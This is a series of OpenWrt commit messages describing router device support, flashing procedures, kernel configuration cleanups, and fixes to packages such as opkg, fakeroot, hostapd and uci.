* Some modern browsers may have problems flashing via the Recovery GUI,
if that occurs consider uploading the firmware through cURL:
curl -v -i -F "firmware=@file.bin" 192.168.0.1
MAC addresses:
lan factory 0xe000 *:a7 (label)
wan factory 0xe006 *:aa
2.4 factory 0xe000 +1 *:a8
5.0 factory 0xe000 +2 *:a9
Seems like vendor didn't replace the dummy entries in the calibration data.
Signed-off-by: James McGuire <jamesm51@gmail.com>
[fix device definition title]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
The comment content can be useful for readers of both the log and code
Previously when dd command "records in/out" messages are not filtered
like now with get_image_dd, it's not clear that these messages are for
extracting boot sectors. E.g.
Before
== upgrade: Reading partition table from bootdisk...
37+26 records in
37+26 records out
== upgrade: Reading partition table from image...
After
== upgrade: Reading partition table from bootdisk...
== upgrade: Extract boot sector from the image
37+26 records in
37+26 records out
== upgrade: Reading partition table from image...
Signed-off-by: Yousong Zhou <yszhou4tech@gmail.com>
The intent is to make it sound more like info level message, not some
error like "404 not found". x86 target at the moment makes image with
only signature but no metadata (ref commit f8141216 "x86: append
metadata to combined images").
Signed-off-by: Yousong Zhou <yszhou4tech@gmail.com>
Reviewed-By: Philip Prindeville <philipp@redfish-solutions.com>
This will have at least the following effects
- Log lines will have common prefix
- They will be output to stderr instead of stdout
Signed-off-by: Yousong Zhou <yszhou4tech@gmail.com>
Manually rebased patches:
bcm27xx:
patches-5.4/950-0267-xhci-add-quirk-for-host-controllers-that-don-t-updat.patch
bcm53xx:
patches-5.4/180-usb-xhci-add-support-for-performing-fake-doorbell.patch
layerscape:
patches-5.4/802-can-0025-can-flexcan-add-LPSR-mode-support-for-i.MX7D.patch
patches-5.4/808-i2c-0002-MLK-10893-i2c-imx-add-irqf_no_suspend.patch
patches-5.4/820-usb-0016-MLK-16735-usb-host-add-XHCI_CDNS_HOST-flag.patch
Removed since could be reverse-applied by quilt:
mediatek:
patches-5.4/0700-arm-dts-mt7623-add-missing-pause-for-switchport.patch
All modifications made by update_kernel.sh
Build system: x86_64
Build-tested: ipq806x/R7800, ath79/generic, bcm27xx/bcm2711, x86_64
Run-tested: ipq806x/R7800, x86_64
No dmesg regressions, everything functional
Signed-off-by: John Audia <graysky@archlinux.us>
Tested-by: Curtis Deptuck <curtdept@me.com> [x86_64]
Rebase of 802-can-0025-can-flexcan-add-LPSR-mode-support-for-i.MX7D.patch
Signed-off-by: Yangbo Lu <yangbo.lu@nxp.com>
Signed-off-by: Kevin Darbyshire-Bryant <kevin@darbyshire-bryant.me.uk>
Due to the use of LD_LIBRARY_PATH, the programs running in the fakeroot
environment may end up loading bundled SDK libraries using the system
ld.so.
Rework the relocatability patch to avoid meddling with LD_LIBRARY_PATH
and construct the paths to faked and libfakeroot.so directly.
Fixes: f93cb5c2c8 ("fakeroot: make fakeroot script relocatable")
Reviewed-by: Petr Štetiar <ynezz@true.cz>
Signed-off-by: Jo-Philipp Wich <jo@mein.io>
Althought most of the switches aren't routers, they can be used as such,
so let's add some of the packages from the router's DEVICE_TYPE. While
at it, remove swconfig package which is not needed on DSA targets.
Acked-by: John Crispin <john@phrozen.org>
Signed-off-by: Petr Štetiar <ynezz@true.cz>
This adds a variant of refpolicy that builds the modular form of the
policy. While this requires more memory on the target device, along with
some tricks to deal with OpenWrt's volatile /var directory, it is useful
for experiementing with SELinux policy.
Signed-off-by: W. Michael Petullo <mike@flyn.org>
Without an absolute path to staging_dir/host/bin/sstrip the Makefile
tries to run a host installed version of sstrip, which is likely not
available.
Signed-off-by: Paul Spooren <mail@aparcar.org>
The uhttpd package takes care of creating self-signed certificates if
px5g is installed. This improves the security of router management as it
encrypts the LuCI connection.
The EC P-256 curve is faster than RSA which which improves the user
experience on embedded devices. EC P-256 is support for as old devices
as Android 4.4.
Signed-off-by: Paul Spooren <mail@aparcar.org>
mkhash currently returns the hash of an empty input when trying to hash
a folder. This can be missleading in caseswhere e.g. an env variable is
undefined which should contain a filename. `mkhash ./path/to/$FILE`
would exit with code 0 and return a legit looking checksum.
A better behaviour would be to fail with exit code 1, which imitates the
behaviour of `md5sum` and `sha256sum`.
To avoid hashing of folders the `stat()` is checked.
Hashing empty inputs result in the following checksums:
md5: d41d8cd98f00b204e9800998ecf8427e
sha256: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
Signed-off-by: Paul Spooren <mail@aparcar.org>
If hashing a file fails mkhash shouldn't just silently fail. Now check
after each call of `hash_file()` the return and exit early in case of
errors. The return value which was previously ignored and would always
return 0.
Signed-off-by: Paul Spooren <mail@aparcar.org>
The -n option prints the filename of hashed files next to the calculated
checksum. Reflect that in the usage message.
user@dawn:~/src/openwrt/openwrt$ ./a.out md5 -n .config
eb06db36e7b6751cb18801945e46bf5d .config
Signed-off-by: Paul Spooren <mail@aparcar.org>
Fixes following dtc warning:
../dts/rtl838x.dtsi:38.3-145.3: Warning (reg_format): /: Root node has a "reg" property
Signed-off-by: Petr Štetiar <ynezz@true.cz>
Hardware specification
----------------------
* RTL8382M SoC, 1 MIPS 4KEc core @ 500MHz
* 128MB DRAM
* 32MB NOR Flash (MX25L25635E)
* 24 x 10/100/1000BASE-T ports
- Internal PHY with 8 ports (RTL8218B)
- Two external PHYs with 8 ports each (RTL8218B)
* 4 x Gigabit RJ45/SFP Combo ports
- External PHY with 4 SFP ports (RTL8214FC)
* Power LED
* Reset button on front panel
* UART (115200 8N1) via unpopulated standard 0.1" pin header marked J6
UART pinout
-----------
[oooo]J3 [o]ooo|J6
| ^ ||`------ GND
| | |`------- RX
| | `-------- TX
| `---------- Vcc (3V3)
|
`------------------ J3 is power input connector nearby J6 UART
Boot initramfs image from U-Boot
--------------------------------
1. Press Escape key during `Hit Esc key to stop autoboot` prompt
2. Press CTRL+C keys to get into real U-Boot prompt
3. Init network with `rtk network on` command
4. Load image with `tftpboot 0x8f000000 openwrt-rtl838x-generic-d-link_dgs-1210-28-initramfs-kernel.bin` command
5. Boot the image with `bootm` command
To install, upload the sysupgrade image to the OEM webpage or sysupgrade
from the system running from initramfs image.
It has been developed and tested on device with F1 revision.
Signed-off-by: Petr Štetiar <ynezz@true.cz>
So the common bits can be easily shared with other boards in the family
and while at it add missing SPDX license identifiers into the DTS files
and fixed alphabetic sorting of the devices in the images.
Signed-off-by: Petr Štetiar <ynezz@true.cz>
If only AP mode is needed, this is currently the most space-efficient way to
provide support for WPA{2,3}-PSK, 802.11w and 802.11r.
openwrt-ath79-generic-ubnt_nanostation-loco-m-squashfs-sysupgrade.bin sizes:
4719426 bytes (with wpad-basic-wolfssl)
4457282 bytes (with hostapd-basic-wolfssl)
Signed-off-by: Rui Salvaterra <rsalvaterra@gmail.com>
Ubiquiti EdgeRouter 4 is 4 port Octeon Cavium 7130 powered router.
It has internal power supply and needs c13 power cord.
There are three 10/100/1000 Mbps RJ45/Copper ports and
one 1000 Mbps SFP port connected directly to a SoC.
SoC:
Octeon Cavium 7130 (Cavium 3)
Clocked at 1000Mhz
Memory:
1 GiB (SK hynix H5TQ4G63CFR-RDC × 2)
DDR3, clocked at 533 Mhz (1066Mhz effective)
Flash:
- mtd:
8 MiB (Macronix MX25L6408EMI-12G)
used for uboot/eeprom
- emmc:
4 GiB (SanDisk SDIN7DP2-4G)
used for kernel+rootfs
Leds: 1x for power status (white/blue, controllable)
and 4x for ethernet and sfp ports (no control over them)
Buttons: 1x Reset (from SOC)
Serial: 1x RJ45 port on front panel. 115200 baud, 8N1 (from SoC)
USB: 1x USB3.0 on front panel (from SoC)
MII: 1x QSGMII from SoC is used
PHY: 1x Vitesse VSC8504 of which 4x ports is used
All physical port numbers are properly mapped inside OS and
named by lanX instead of ethX.
There is also special purpose four(4) loopX ports available.
That loopX ports are currently hardcoded by linux kernel
and exact use case of them is currently unknown. We leave them
to the linux kernel and octeon board defaults.
All four (4) physical ports are connected to the same QSGMII.
vsc8504 is used for phys and only 4, 5, 6 and 7 phys are used.
Phy mapping:
- Phy5 is connected to physical eth0 port
- Phy6 is connected to physical eth1 port
- Phy7 is connected to physical eth2 port
- Phy4 is connected to physical eth3 port
Why this device needs external dts:
- faster boot time since need to initialize less device tree nodes.
- to add actual indication with LED about boot/failure/upgrade.
i.e. user could know when to enter failsafe mode or if upgrade is done
- reset button support so user can reset their device in case off failure
- sfp port indication in dmesg with information about sfp module
it also indicates when module inserted or removed
Octeon quirks:
- There is no port status available before it interface brought up
- SFP port can not be tied to actual phy due to octeon-ethernet state
and currently we can only get reports a about SFP state in dmesg
How to flash the firmware:
- copy openwrt-octeon-ubnt_edgerouter-4-initramfs-kernel.bin and
openwrt-octeon-ubnt_edgerouter-4-squashfs-sysupgrade.tar to
USB flash drive that is formatted to vfat/fat32
- connect USB flash drive to edgerouter 4 front USB port
- connect serial cable using front RJ45 port (115200 baud, 8N1)
- connect power to cable to edgerouter 4
- connect terminal to the console to see uboot boot process
- interrupt boot by pressing button(s) on your keyboard to log in to the uboot
- detect usb connected flash drives by typing to the console:
usb start
- after drive is detected load initramfs+kernel to the memory by typing:
fatload usb 0:1 0x20000000 openwrt-octeon-ubnt_edgerouter-4-initramfs-kernel.bin
- after initramfs+kernel is loaded to the memory load it by typing:
bootoctlinux 0 numcores=4 endbootargs mem=0
- boot process should finish and you will be greeted with console after pressing enter
- create directory to mount usb flash drive to by typing:
mkdir /tmp/sda
- mount flash drive to that directory by typing:
mount /dev/sda1 /tmp/sda
- flash firmware to router internal storage by typing:
sysupgrade /tmp/sda/openwrt-octeon-ubnt_edgerouter-4-squashfs-sysupgrade.tar
- device will reboot and after it gets up you will have edgerouter 4 running openwrt
Reviewed-by: Johannes Kimmel <fff@bareminimum.eu>
Tested-by: Johannes Kimmel <fff@bareminimum.eu>
Signed-off-by: Roman Kuzmitskii <damex.pp@icloud.com>
adds patch to octeon ethernet driver that lets sgmii interface
device tree node to be disabled and that disabled interface
won't be unnecessarily initialized.
It solves the problem with octeon boards that have 8 sgmii or more ports
initialized but have nothing connected to them.
Tested-by: Johannes Kimmel <fff@bareminimum.eu>
Signed-off-by: Roman Kuzmitskii <damex.pp@icloud.com>
adds patch to octeon ethernet driver that to rename interface
name by label from device tree
Tested-by: Johannes Kimmel <fff@bareminimum.eu>
Signed-off-by: Roman Kuzmitskii <damex.pp@icloud.com>
adds support for vsc8504 phy.
patch have use on 5.4 kernel and has
to be dropped after since phy is supported by
CONFIG_MICROSEMI_PHY on newer LTS kernels.
Tested-by: Johannes Kimmel <fff@bareminimum.eu>
Signed-off-by: Roman Kuzmitskii <damex.pp@icloud.com>
Building gdb failed with CONFIG_BUILD_NLS enabled. Use nls.mk and
add the necessary dependencies for libintl and libiconv.
Signed-off-by: Daniel Golle <daniel@makrotopia.org>
Use the default sysupgrade generation procedure provided
by the target. The previously generated images had the rootfs not
aligned to an eraseblock.
Signed-off-by: David Bauer <mail@david-bauer.net>
A lot of devices running OpenWrt x86 arch (32 or 64 bit) are either
"home-made routers" or devices that use PC class OEM components.
This commit enables OEM cards support on those devices by default.
Signed-off-by: Rafał Dzięgiel <rafostar.github@gmail.com>
[reformat commit message]
Signed-off-by: David Bauer <mail@david-bauer.net>
Remove MDIO and I2C bitbangig support from the kernel.
These functionalities are currently not used by any board in the target.
Signed-off-by: David Bauer <mail@david-bauer.net>
This commit fixes the name for the GMAC clock to gmac_clkin, as this is
the name of the clock provided by the rk3328-clk driver.
Without this commit, the GMAC will not work in TX direction.
Suggested-by: Tobias Waldvogel <tobias.waldvogel@gmail.com>
Signed-off-by: David Bauer <mail@david-bauer.net>
`mt7621_nfc_write_page_hwecc` may be called with `buf=NULL`, but
`mt7621_nfc_check_empty_page` always tries to read it.
That caused Oops:
`Unable to handle kernel paging request at virtual address 00000000`
Fixes: FS#3416
Signed-off-by: Anton Ryzhov <anton@ryzhov.me>
Latest netifd allows us to setup network bridges with implicit vlan
tagging. For this to work, we need to setup several additional uci
sections. This feature is particularly usefull for DSA tupe devices.
Add board.d and uci-defaults support for generating the sections.
Signed-off-by: John Crispin <john@phrozen.org>
Several Ubiquiti WA devices set up &wmac again in their DTS files,
although this is already done in ar9342_ubnt_wa.dtsi.
Fixes: fa3c2676ab ("ath79: Add support for Ubiquiti Nanostation AC")
Fixes: cf5a1abe46 ("ath79: define 2.4GHz radio for nanostation ac loco")
Fixes: 09804da80a ("ath79: define 2.4GHz radio for litebeam ac gen2")
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
The ar9342 Ubiquiti WA devices appear to only have two different
network setups, based on the number of ethernet ports.
Create DTSI files for them to consolidate duplicate definitions.
Signed-off-by: Nick Hainke <vincent@systemli.org>
[rephrase commit message/title]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
In 4.14 the delays were not cleared, so setting "rgmii" as phy-mode
did not affect delays set by the bootloader. With 5.4 kernel the
situation changed and the ethernet interface stopped working.
"rgmii" requires rx and tx delays depending on the hardware circuit
and wiring. The mac or the phy can add these delays.
- "rgmii": delays are controlled by the mac
- "rgmii-id": delays are controlled by the phy
More Information in Linux Kernel Tree:
Documentation/devicetree/bindings/net/ethernet-controller.yaml
"rgmii" should be the preferred mode, which allows the mac layer to
turn off the dealys completely if they are not needed. However, the
delays are not set correctly, which causes the ethernet interface
to be broken. Just taking the ethernetpart from the litebeam ac gen2
will fix the issue.
Explained-by: David Bauer <mail@david-bauer.net>
Signed-off-by: Nick Hainke <vincent@systemli.org>
da9746a libopkg: clean up handling of unresolved dependencies
Signed-off-by: Daniel Golle <daniel@makrotopia.org>
Signed-off-by: Paul Spooren <mail@aparcar.org>
The previous fix of a fix caused yet another problem leading to
`opkg show-upgradable` ending up in an infinite loop.
Fix that.
Fixes: 4a2b1ff7fb ("opkg: fix dependency resolution")
Reported-by: Huangbin Zhan <zhanhb88@gmail.com>
Signed-off-by: Daniel Golle <daniel@makrotopia.org>
The previous commit broke opkg in a way that it would no longer
include dependencies when installing a package, effectively leading
to broken images and unusable systems.
Fix that by making sure dependencies are still going to be checked.
Also reduce size of struct abstract_pkg as suggested by @jow- while at
it.
Fixes: 1445d333aa ("opkg: bump to git HEAD")
Signed-off-by: Daniel Golle <daniel@makrotopia.org>
This commit introduces a new function `extra_command` to better format
the help text without having to calculate the indentation in every startup
script that wants to add a new command. So far it looks weird and is not
formatted correctly on some startup scripts.
After using the new `extra_command` wrapper the alignement looks correctly.
And if the indentation is not sufficient in the future, this can be
changed in the function extra_command at a central location.
Signed-off-by: Florian Eckert <fe@dev.tdt.de>
In kernel commit adf82accc5f5 ("netfilter: x_tables: merge ip and
ipv6 masquerade modules") the config symbols IP_NF_TARGET_MASQUERADE
and IP6_NF_TARGET_MASQUERADE have been demoted to simple backwards-
compat options for NETFILTER_XT_TARGET_MASQUERADE.
In netfilter.mk, this has already been updated in OpenWrt commit
d1592306cc ("netfilter.mk: use CONFIG_NETFILTER_XT_TARGET_MASQUERADE"),
having us use the new config symbol.
However, enabling IP_NF_NAT or IP6_NF_NAT still makes the relevant
legacy options selectable, so we need to disable them in generic
config (and forget about them afterwards).
Since CONFIG_IP_NF_TARGET_MASQUERADE is already present there, this
just adds the missing CONFIG_IP6_NF_TARGET_MASQUERADE.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Kernel has removed the symbols CONFIG_NF_NAT_IPV4 and
CONFIG_NF_NAT_IPV6 in favor of CONFIG_NF_NAT in commit
3bf195ae6037 ("netfilter: nat: merge nf_nat_ipv4,6 into nat core").
This drops the obsolete symbol CONFIG_NF_NAT_IPV6 from generic
config-5.4.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This partition isn't normally modified during boot process. Make it
read-only to prevent accidental overwrite.
If needed this can be overriden with installing kmod-mtd-rw; the same
way as for installing modified U-boot.
Signed-off-by: Lech Perczak <lech.perczak@gmail.com>
This partition isn't normally modified during boot process. Make it
read-only to prevent accidental overwrite.
If needed this can be overriden with installing kmod-mtd-rw; the same
way as for installing modified U-boot.
Signed-off-by: Lech Perczak <lech.perczak@gmail.com>
Recent versions (> 5.33) of `file` report liblto_plugin.so as
executable:
$ file liblto_plugin.so
liblto_plugin.so.0.0.0: ELF 64-bit LSB pie executable ...
Which then leads to improper packaging of the plugin, resulting in the
broken compiler:
configure: checking whether the C compiler works
mips-openwrt-linux-musl/bin/ld: liblto_plugin.so: error loading plugin: liblto_plugin.so: invalid ELF header
As the LTO compiler plugin library is incorrectly packaged as SDK
executable:
$ head -1 ~/staging_dir/toolchain...libexec/gcc/.../liblto_plugin.so
#!/usr/bin/env bash
Fix this by filtering out shared libraries from the patching.
Ref: https://bugzilla.redhat.com/show_bug.cgi?id=1296868
Acked-by: Jo-Philipp Wich <jo@mein.io>
Signed-off-by: Petr Štetiar <ynezz@true.cz>
It's not possible to compile some applications which are using
`-Werror=missing-include-dirs` compiler flags with the SDK as some
target directories are missing in the SDK tarball:
cc1: error: staging_dir/target/usr/include: No such file or directory [-Werror=missing-include-dirs]
cc1: error: staging_dir/target/include: No such file or directory [-Werror=missing-include-dirs]
Fix this by adding the missing directories in the SDK.
Signed-off-by: Petr Štetiar <ynezz@true.cz>
Shallow copies are quite common on CI platforms nowadays, making REBOOT
tag unavailable, thus producing following confusing errors in the build
logs:
fatal: Invalid revision range ee53a240ac902dc83209008a2671e7fdcf55957a..HEAD
fatal: Invalid revision range ee53a240ac902dc83209008a2671e7fdcf55957a..0493d57e04774d47921a7d2014b567455d5dc16b
Signed-off-by: Petr Štetiar <ynezz@true.cz>
The pistachio target uses a MIPS CPU with FPU and OpenWrt uses a
toolchain with hard FPU support. MIPS FPU support needs the FPU
emulation code in the kernel.
Fixes: ac5671f46c ("kernel: remove obsolete kernel version switches for 4.19")
Signed-off-by: Hauke Mehrtens <hauke@hauke-m.de>
Instead of using the system zlib when the package is selected and using
the internal zlib if it is not selected in OpenWrt, just activate it
always. This should make the package more deterministic.
Signed-off-by: Hauke Mehrtens <hauke@hauke-m.de>
The ARC specific gdb was removed some time ago.
Fixes: 969690b33c ("toolchain/gdb: Don't use gdb-arc")
Signed-off-by: Hauke Mehrtens <hauke@hauke-m.de>
Instead of patching the tests out, just remove them with a configure
option.
No files were generates in the testsuite and unit-test directories.
Signed-off-by: Hauke Mehrtens <hauke@hauke-m.de>
gdb 10.1 adds many new features for example gdbserver support for
- ARC GNU/Linux
- RISC-V GNU/Linux
Removed this patch, because similar changes are now integrated upstream:
toolchain/gdb/patches/100-no_extern_inline.patch
Signed-off-by: Hauke Mehrtens <hauke@hauke-m.de>
This re-enables offloading features disabled by
commit 9da2b56760 ("ipq40xx: fix ethernet vlan double tagging").
Single-PHY devices use port-based VLANs on the switch, therefore no
S-TAG magic is involved here. Re-enabling these features restores
throughput back to 950 Mbit/s.
Reported-by: Jannis Pinter <jannis@pinterjann.is>
Signed-off-by: David Bauer <mail@david-bauer.net>
The AT803X_PHY kernel config symbol is already enabled target-wide. SO
it does not have to be enabled for individual subtargets.
Signed-off-by: David Bauer <mail@david-bauer.net>
Patch was upstreamed a long time ago (over 2 years) as commit
a08227a206b8d ("MIPS: ath79: select the PINCTRL subsystem").
When porting this patch to a newer kernel, nobody noticed we now patch a
Broadcom platform. This is clearly not intended. So drop this patch and
pretend nothing ever happened.
Signed-off-by: David Bauer <mail@david-bauer.net>
This removes unneeded kernel version switches from the targets after
kernel 4.19 has been dropped.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This removes switches dependent on kernel version 4.19 as well as
several packages/modules selected only for that version.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
We use 5.4 on all targets by default, and 4.19 has never been released
in a stable version. There is no reason to keep it.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This patch disables the image for edgerouter devices by default, since
it isn't able to boot at the moment.
Currently the edgerouter image won't boot. Current kernels have an
option CONFIG_CAVIUM_CN63XXP1 that needs to be enabled for this chip.
If the kernel was compiled without this option, following message is
displayed and the machine reboots:
[ 36.778028] Kernel panic - not syncing: OCTEON II DCache prefetch workaround not in place (cfa0000c).
[ 36.778028] Please build kernel with proper options (CONFIG_CAVIUM_CN63XXP1).
[ 36.794398] Rebooting in 1 seconds..
This was last confirmed on 2020-10-29.
The description of this option states, that enabling it will possibly
cause performance issues on other chips.
Signed-off-by: Johannes Kimmel <fff@bareminimum.eu>
LegacyDevice is not used anymore in our tree, so let's drop it
together with the relevant definitions and recipes.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
The definitions in image-commands.mk seem to have no particular
order. Sort them alphabetically to make it easier to actually
find anything there. No other changes made beyond moving entire
blocks.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Build/combined-image is only used in ath25 target, and that defines
its own version. Thus, drop the unused definition in image-commands.mk.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This drops unused legacy recipes Image/Build/SysupgradeNAND and
Image/Build/UbinizeImage.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
A typo resulted in that module having it's own menu.
Move it into the I2C menu as it was most likely intended.
Fixes: 1291274335 ("kernel: package bcm53xx i2c module")
Signed-off-by: Daniel Golle <daniel@makrotopia.org>
This reverts commit 7f94e2afcf.
Package kmod-nft-core is missing dependencies for the following libraries:
nft_reject.ko
Signed-off-by: Daniel Golle <daniel@makrotopia.org>
Since fakeroot is patched to discover related ressources relative to the
STAGING_DIR_HOST environment variable, there is no need to pass the path
to faked or the preload library manually anymore.
Signed-off-by: Jo-Philipp Wich <jo@mein.io>
Patch the fakeroot script template to discover faked and libfakeroot.so
relative to the STAGING_DIR_HOST environment variable, similar to how it
is done for automake, libtool, quilt and autoconf already.
This avoids the need for passing the paths to faked and libfakeroot.so
manually every time we invoke fakeroot and subsequently allows us to
drop OS X specific logic.
Signed-off-by: Jo-Philipp Wich <jo@mein.io>
With the fix of external kmod feeds it is possible to ship the
ImageBuilder without any packages except the pseudo packages kernel and
libc. Therefore the local package feeds becomes optional.
This commit adds a check to the package_reload function to only run if
the local feed is existing.
Signed-off-by: Paul Spooren <mail@aparcar.org>
The buildbots generate a kmod archive which should be used instead of a
local copy. This is possible due to the introduction of a kernelversion
specific feed.
This commit adds the ability of using only signed package feeds.
Signed-off-by: Paul Spooren <mail@aparcar.org>
Nightly snapshot builds of OpenWrt change their kernels versions
frequently and lose thereby compatibility to kmods from the upstream
target specific packages feed.
To allow opkg to install packages over multiple days a kmod archive is
offered at $target/$subtarget/kmods/$kernelversion and added as a feed
to created snapshot images via a buildbot step[1].
Instead of using a buildstep add the kmod feed directly via
FeedSourcesAppend to be included in the ImageBuilder repositories.conf
as well. This is conditionally only done for SNAPSHOT builds and when
running as BUILDBOT. Releases are unaffected as they don't include
kernel version changes and local builds may use different kernel
versions or magics than available upstream.
This commit allows in a future step to ship ImageBuilders without a
locally stored kmod archive.
[1]: https://git.openwrt.org/?p=buildbot.git;a=blob;f=phase1/master.cfg;h=3ba7a1606e89b095b10555e703ea96e93295deec;hb=HEAD#l1025
Signed-off-by: Paul Spooren <mail@aparcar.org>
Hotspot 2.0 AP features have been made available in the -full variants
of hostapd and wpad. Hence we no longer need a seperate package for
that.
Signed-off-by: Daniel Golle <daniel@makrotopia.org>
Add OpenSSL-linked basic variants (which provides WPA-PSK only, 802.11r and
802.11w) of both hostapd and wpad. For people who don't need the full hostapd
but are stuck with libopenssl for other reasons, this saves space by avoiding
the need of an additional library (or a larger hostapd with built-in crypto).
Signed-off-by: Rui Salvaterra <rsalvaterra@gmail.com>
- minimal built initramfs: 10MB vmlinux ELF -> 6MB vmlinuz
- ~5 seconds for kernel decompression, which was equivalent to the
additional time to load the uncompressed ELF from SPI NOR.
- Removes requirement for lzma-loader, which may have been causing some
image builds to fail to boot on Mikrotik mt7621.
Suggested-by: Thibaut VARÈNE <hacks@slashdirt.org>
Signed-off-by: John Thomson <git@johnthomson.fastmail.com.au>
- minimal built initramfs: 11MB vmlinux ELF -> 4.5MB vmlinuz
- ~5 seconds for kernel decompression, which was equivalent to the
additional time to load the uncompressed ELF from SPI NOR.
- Removes requirement for lzma-loader, which may have been causing some
image builds to fail to boot on Mikrotik mt7621.
Fixes: FS#3354
Suggested-by: Thibaut VARÈNE <hacks@slashdirt.org>
Signed-off-by: John Thomson <git@johnthomson.fastmail.com.au>
The mips kernel vmlinux image supports adding an empty ELF section
for DTB to be later inserted into with MIPS_ELF_APPENDED_DTB.
This ELF + inserted DTB image can then be directly booted on some
devices.
Example usage:
image/subtarget.mk:
KERNEL_NAME := vmlinux.elf
KERNEL_INITRAMFS_NAME := vmlinux-initramfs.elf
KERNEL := kernel-bin | append-dtb-elf
On mt7621 memory size needed to be manually specified.
Signed-off-by: John Thomson <git@johnthomson.fastmail.com.au>
This will make a separated section for dtb appear in ELF, and we can
then use objcopy to patch a dtb into vmlinuz when RAW_APPENDED_DTB
is set in kernel config.
command to patch a dtb:
objcopy --set-section-flags=.appended_dtb=alloc,contents \
--update-section=.appended_dtb=<target>.dtb vmlinuz vmlinuz-dtb
Signed-off-by: Chuanhong Guo <gch981213@gmail.com>
linux-mips has zboot code which can create a self-extracting kernel
image.
This allows enabling kernel zboot support for ramips targets.
Signed-off-by: Chuanhong Guo <gch981213@gmail.com>
This adds missing config symbols for interworking as well as Hotspot 2.0
to the wpa_supplicant-full configuration.
These symbols were added to the hostapd-full configuration prior to this
commit. Without adding them to the wpa_supplicant configuration,
building of wpad-full fails.
Thanks to Rene for reaching out on IRC.
Fixes: commit be9694aaa2 ("hostapd: add UCI support for Hotspot 2.0")
Fixes: commit 838b412cb5 ("hostapd: add interworking support")
Signed-off-by: David Bauer <mail@david-bauer.net>
/etc/hotplug.d/ntp/25-dnsmasqsec is being sourced by /sbin/hotplug-call
running as ntpd user. For that to work the file needs to be readable by
that user.
Signed-off-by: Daniel Golle <daniel@makrotopia.org>
If mac80211_setup_supplicant() is called with enabled=0 then it should just
destroy the interface and remove the configuration from wpa_supplicant. But
the ubus method call always returned
Command failed: Method not found
because the actual name of the method is "config_remove".
Fixes: b5516603dd ("mac80211: more wifi reconf related fixes")
Signed-off-by: Sven Eckelmann <sven@narfation.org>
[bump PKG_RELEASE]
Signed-off-by: David Bauer <mail@david-bauer.net>
This adds configuration options to enable interworking for hostapd.
All options require iw_enabled to be set to 1 for a given VAP.
All IEEE802.11u related settings are supported with exception of the
venue information which will be added as separate UCI sections at a
later point.
The options use the same name as the ones from the hostapd.conf file
with a "iw_" prefix added.
All UCI configuration options are passed without further modifications
to hostapd with exceptions of the following options, whose elements can
be provided using UCI lis elements:
- iw_roaming_consortium
- iw_anqp_elem
- iw_nai_realm
- iw_domain_name
- iw_anqp_3gpp_cell_net
Signed-off-by: David Bauer <mail@david-bauer.net>
This adds support for enabling the FTM responder flag for the APs
extended capabilities. On supported hardware, enabling the ftm_responder
config key for a given AP will enable the FTM responder bit.
FTM support itself is unconditionally implemented in the devices
firmware (ath10k 2nd generation with 3.2.1.1 firmware). There's
currently no softmac implementation.
Also allow to configure LCI and civic location information which can be
transmitted to a FTM initiator.
Signed-off-by: David Bauer <mail@david-bauer.net>
hostapd_set_bss_options expects the PHY as second and the VIF as third
argument. However, only the VIF was passed as second argument without a
third argument at all.
This was never a problem, as both PHY and VIF were never accessed.
However, with FTM support the PHY is needed to determine the HW support
when configuring the BSS.
Signed-off-by: David Bauer <mail@david-bauer.net>
Remove the ieee80211v option. It previously was required to be enabled
in order to use time_advertisement, time_zone, wnm_sleep_mode and
bss_transition, however it didn't enable any of these options by default.
Remove it, as configuring these options independently is enough.
This change does not influence the behavior of any already configured
setting.
Signed-off-by: David Bauer <mail@david-bauer.net>
Allow to configure both RRM beacon as well as neighbor reports
independently and only enable them by default in case the ieee80211k
config option is set.
Signed-off-by: David Bauer <mail@david-bauer.net>
I've forget to update PKG_MIRROR_HASH in my previous package version
bump.
Fixes: 095cc2b745 ("uci: update to version 2020-10-06")
Signed-off-by: Petr Štetiar <ynezz@true.cz>
59e4fc98162d cache: cache_answer: fix off by one
4cece9cc7db4 cache: cache_record_find: fix buffer overflow
be687257ee0b cmake: tests: provide umdns-san binary
bf01f2dd0089 tests: add dns_handle_packet_file tool
134afc728846 tests: add libFuzzer based fuzzing
de08a2c71ca8 cmake: create static library
cdc18fbb3ea8 interface: fix possible null pointer dereference
1fa034c65cb6 interface: fix value stored to 'fd' is never read
3a67ebe3fc66 Add initial GitLab CI support
50caea125517 cmake: fix include dirs and libs lookup
Signed-off-by: Petr Štetiar <ynezz@true.cz>
52bbc99f69ea Replace malloc() + memset() with calloc()
3fbd6c923434 ucimap: Check return of malloc()
eae126f66663 file: Check buffer size after strtok()
7f574273180a file: use size_t for position and pointer
19770b6949b9 file: use dynamic memory allocation for tempfile name
aa46546794ac file: uci_file_commit: fix memory leak
671c7554bfde uci: silence UBSAN error by using offsetof macro from compiler
ea5bbd57d0e1 tests: cram: add uci import testing on fuzzer corpus
31f78bfbf75f cmake: add uci-san cli built with clang sanitizers
a3e650911f5e file: uci_parse_package: fix heap use after free
9bd361ca3236 tests: add libFuzzer based fuzzing
Signed-off-by: Petr Štetiar <ynezz@true.cz>
Same hardware as Phicomm K2G but different flash layout.
Specification:
- SoC: MediaTek MT7620A
- Flash: 8 MB
- RAM: 64 MB
- Ethernet: 4 FE ports and 1 GE port (RTL8211F on port 5)
- Wireless radio: MT7620 for 2.4G and MT7612E for 5G, both equipped
with external PA.
- UART: 1 x UART on PCB - 57600 8N1
Flash instruction:
To avoid requiring UART for TFTP a dual flash procedure is suggested
to install the squashfs image:
1. Rename openwrt-ramips-mt7620-wavlink_wl-wn530hg4-initramfs-kernel.bin
to WN530HG4-WAVLINK.
2. Flash this file with the factory web interface.
3. With OpenWRT now running use standard sysupgrade to install the
squashfs image.
